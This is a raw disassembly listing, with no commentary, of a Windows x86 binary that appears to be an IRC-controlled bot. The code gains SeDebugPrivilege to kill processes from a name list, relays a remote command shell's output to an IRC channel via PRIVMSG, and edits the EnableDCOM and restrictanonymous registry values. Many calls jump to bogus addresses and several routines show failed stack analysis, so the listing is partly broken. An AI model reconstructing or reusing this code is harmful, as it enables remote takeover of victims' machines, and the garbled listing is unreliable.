		jz	loc_4198BB
		cmp	dword_4CAFA8, ebx
		jz	loc_4198BB
		cmp	dword_4CAEB8, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAFC4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAFA8
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAEB8
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396F0

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 2820000h
		nop
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439750
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 26F0A14h
		nop
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAFC4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE64
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAEB8
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 26F0A14h
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398F0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398CC
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_4398A8

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26708DBh
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 26F0A14h
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2650939h

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396ECh, 256B63E8h, 0E3EB9002h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB228
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB230
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB224
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB22C
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D158
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2670580h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB234

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB228
		nop
		call	near ptr 28209E9h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB224
		nop
		call	near ptr 28204A2h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2670580h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB228
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439978
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		call	near ptr 26D0000h
		nop

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439950
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439920
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26D0000h
		nop
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_43353C
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB22C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 26F0B29h
		nop
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D158
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650C44h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB228, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB230, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB224, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB268, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB234
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399DC
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEE8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		call	near ptr 2670604h
		nop
		cmp	eax, esi
		mov	dword_43DEF4[edi], eax
		jnz	short loc_419E12
		call	near ptr 2670E9Dh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_4399A8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB074, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438754
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C78
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C58

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C28
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BD8
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439BA4

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B68
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B38

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEE8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_439A00

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439B14
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AE8

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_439A20
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439AC4
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439A98

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB034

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A70
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A40
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB074, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438798
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DF0
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DD4

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439C28
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
